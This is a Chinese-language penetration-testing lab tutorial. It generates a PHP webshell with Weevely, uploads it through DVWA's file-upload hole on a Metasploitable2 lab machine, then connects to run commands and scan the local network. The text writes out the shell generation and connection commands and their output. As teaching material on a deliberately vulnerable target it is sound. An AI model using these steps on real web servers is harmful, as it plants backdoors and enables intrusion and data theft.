Kali渗透测试：通过Web应用程序实现远程控制
我们所接触的PHP、JSP这样的语言主要是用来开发Web应用程序的，但其实他们的功能十分强大，也可以实现远程控制的功能。我们经常听说的“网页木马”指的就是用PHP、JSP等Web开发语言完成的。这种“网页木马”的特点就是无须考虑被渗透目标的操作系统的类型，只需要考虑Web应用程序的类型，例如攻击目标是一个PHP语言编写的网站， 那么就需要使用PHP语言编写的木马。
目前有很多工具都提供了自动生成木马的功能， 例如国内十分流行的“中国菜刀” “中国蚁剑” “冰蝎” 等。这里我们以Kali自带的内置工具Weevely为例, 它是一个专门用来生成PHP语言木马的工具，同时也提供了丰富的管理功能。
这里我们还需要借助metasplotibale2这个靶机中的DVWA， 它提供了一个文件上传漏洞， 我们将利用这个漏洞将Weevely生成的木马上传并运行， 来演示Weevely的功能。上传漏洞广泛存在于各种Web应用程序中， 而且后果极为严重。攻击者往往会利用这个漏洞想Web服务器中上传一个携带恶意代码的文件， 并设法在Web服务器上运行恶意代码。攻击者可能会将“钓鱼”页面或者挖矿“木马”注入到Web应用程序中， 或者直接破坏服务器中的信息，再或者盗取敏感信息。
实 验 环 境
VMware Workstation 16 PRO
操作机：Linux kali 5.10.0 IP (192.168.68.125)
靶机：Metasploitable2-Linux IP (192.168.68.205)
DVWA这个漏洞平台，这里不做赘述，感兴趣的可以自行搜索一下。
操 作 步 骤
1. 登录Metasploitable2-Linux靶机页面
在Kali系统的浏览器地址栏输入http://192.168.68.205,进入靶机的页面，如下图所示：
2. 登录DVWA页面
进入DVWA页面，输入用户名和密码，然后调整安全等级(DVWA Security)为low并提交，然后点击upload，如下图所示：
3. 生成恶意代码
现在需要在操作机（Kali）中生成一段恶意代码，但是这段代码不能是常见的exe或者Linux操作系统下的可执行文件，因为我们无法让它们在服务器中运行起来。但是目标服务器中使用了PHP解析器，所以我们可以使用由PHP语言编写的恶意代码，然后目标服务器会像执行其他文件一样来启动它。利用Weevely生成PHP恶意代码，命令如下：
┌──(kali㉿kali)-[~]
└─$ weevely generate 123456 /home/kali/Downloads/testweb.php
Generated '/home/kali/Downloads/testweb.php' with password '123456' of 754 byte size.
生成的木马位于/home/kali/Downloads目录下，如下图所示：
4. 在靶机DVWA上传PHP木马
在靶机DVWA的上传漏洞页面，点击Choose File，选择test.php木马文件，然后点击upload上传，提交成功。结果如下图所示：
5. Weevely连接“后门”
使用weevely连接这个“后门”的命令格式如下：
weevely 木马 URL 木马密码
如上图红框中所示，该木马的url应该为http://192.168.68.205/dvwa/hackable/uploads/testweb.php， 所以在操作机中应该执行如下命令：
┌──(kali㉿kali)-[~]
└─$ weevely http://192.168.68.205/dvwa/hackable/uploads/testweb.php 123456
[+] weevely 4.0.1
[+] Target: 192.168.68.205
[+] Session: /home/kali/.weevely/sessions/192.168.68.205/testweb_0.session
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
使用help可以查看当前可以使用的命令，如下图所示：
上图中显示部分命令，这里使用system_info 命令，执行结果如下图所示：
使用audit_filesystem查看目标系统的文件信息，如下图所示：
或者利用这台被渗透的服务器去进行扫描操作，例如利用它去查看192.168.68.1（路由器）设备的80端口是否开放，如下图所示：
